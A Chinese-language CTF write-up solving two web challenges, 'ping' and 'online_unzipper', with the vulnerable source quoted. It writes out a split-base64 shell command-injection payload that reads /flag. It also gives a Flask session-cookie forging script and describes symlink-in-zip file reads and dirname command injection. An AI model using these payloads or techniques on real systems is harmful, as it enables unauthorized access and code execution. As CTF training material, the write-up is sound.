N1 2025-9
1.ping
小小签到题。
源码很简单,核心是在对于输入的ip的过滤:
def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False
if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""
这里可以看到后端对于输入的ip进行正则匹配,将ip的格式锁死,ip这里是防的很死的,无法下手。
重点关注command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""
ip_base64是,先通过Python的base64库解码校验之后,再经过Linux的命令行解码,而在Python中是存在Bug的
我就说为什么要解两次码,原来是这样的
base64.b64decode不会对=之后的内容继续解码,从而通过只能是ip格式的校验,而base64 -d会将编码从中间拆开分别解码再拼接,从而可以命令拼接执行,因此我们将两部分拆开即可0.0.0.0 ;cat /flag
MC4wLjAuMA== O2NhdCAvZmxhZw==
拿到flag。
2.online_unzipper
看看文件上传部分的代码:
@app.route("/upload", methods=["GET", "POST"])
def upload():
if "username" not in session:
return redirect(url_for("login"))
if request.method == "POST":
file = request.files["file"]
if not file:
return "未选择文件"
role = session["role"]
if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())
target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)
zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)
try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"
os.remove(zip_path)
return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"
return render_template("upload.html")
没有任何的waf,因为flag文件被随机命名了,所以需要拿admin对dirname操作执行rce。
Zip Slip 在 Java 生态或 Python
zipfile库中十分好用,但在直接调用系统unzip命令的场景下,通常会被操作系统自带的安全机制拦截。所以这里不用zip slip
软链接读取环境变量中的key后伪造session:
from flask.sessions import SecureCookieSessionInterface
from flask import Flask
SECRET_KEY = "test"
SESSION_DATA = {'username': 'admin', 'role': 'admin'}
def generate_cookie():
try:
app = Flask(__name__)
app.secret_key = SECRET_KEY
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(app)
cookie = serializer.dumps(SESSION_DATA)
print("\n[+] Success! Your Admin Cookie is:\n")
print(cookie)
print("\nCopy the string above (without quotes) into your browser's session cookie.\n")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
generate_cookie()
拿到admin后执行rce,重复软链接的操作读取flag。